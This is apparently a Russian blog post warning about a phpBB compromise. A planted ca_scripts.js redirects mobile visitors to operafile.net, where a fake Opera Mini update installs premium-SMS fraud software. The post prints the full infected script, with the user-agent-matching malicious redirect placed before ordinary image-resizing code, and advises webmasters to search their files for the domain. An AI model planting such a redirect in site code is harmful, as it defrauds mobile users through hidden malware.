Обновление Opera Mini — даже если она у вас не установлена
Всем привет!
Ваш мобильный друг просит обновить Оперу? Не верьте — это ложь! Будьте внимательны!
Только что наткнулся на уязвимость в PHPBB. Где она кроется не знаю — но вот в чем она заключается. С помощью этой уязвимости, в движок вашего форума заливается или создается скрипт ca_scripts.js, я подозреваю, что называться он может как угодно. Чуть ниже, я его выложу.
Суть его такова, когда пользователь заходит на ваш сайт, скрипт определяет операционную систему, с помощью функции navigator.userAgent.match. Если ваша операционная система подходит под следующий список:
- android
- midp
- j2me
- symbian
- series 60
- symbos
- windows mobile
- windows ce
- ppc
- smartphone
- blackberry
- mtk
то он делает перенаправление на operafile.net и дописывает /u/[ID] (видимо ребята статистику ведут). Далее, сформируется предложение об обновление Opera Mini, даже если она у вас не установлена. После того, как вы скачаете обновление, очень похожее на установщик Opera — вы установите себе ПО, которое в фоновом режиме будет отсылать SMS на короткие номера, но не для того что бы вы выиграли Mercedes, а просто чтобы опустошить ваш счет.
Если вы зайдете на сайт operafile.net — то вас перенаправит на google.com.
Для web мастеров. Если вы прочитали этот пост, советую вам в вашем public «грепнуть» найти все скрипты, которые содержат домен operafile.net и другие (пока не знаю какие =) ), не известные вам домены. Либо проанализировать по дате.
Вот сам скрипт
var ca_item; var ca_item2; var ca_list; if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk)/i)!==null){ window.location = "http://operafile.net/u/1013"; } onload_functions[onload_functions.length] = 'ca_resize_images();'; // resize images function ca_resize_images() { var i, limit, diff; limit = 600; diff = 225; ca_item = document.getElementById('contentrow'); if(ca_item && ca_item.clientWidth) { limit = ca_item.clientWidth - diff; } if(limit < 500) { limit = 500; } if(document.body.clientWidth && document.body.clientWidth < (limit + diff) && document.body.clientWidth > 800) { limit = document.body.clientWidth - diff; } else if(window.innerWidth && window.innerWidth < (limit + diff) && window.innerWidth > 800) { limit = window.innerWidth - diff; } /* IE6 limit fix */ if(!window.XMLHttpRequest && limit > 1500) { limit = 800; } if(ca_main_width && ca_main_width.indexOf('%') == -1) { ca_main_width.replace(/px/, ''); if(ca_main_width > 0) { limit = ca_main_width - diff; } } if(ca_item) { ca_list = ca_item.getElementsByTagName('img'); } else { ca_list = document.getElementsByTagName('img'); } for(i=0; i<ca_list.length; i++) { ca_item = ca_list[i]; if(ca_item.width > limit) { if(document.all) { ca_item.style.cursor = 'hand'; } else { ca_item.style.cursor = 'pointer'; } ca_item.style.width = (limit - 50) + 'px'; ca_item.onclick = function() { window.open(this.src, 'image', 'width=700,height=500,resizable=1,scrollbars=1'); } } } }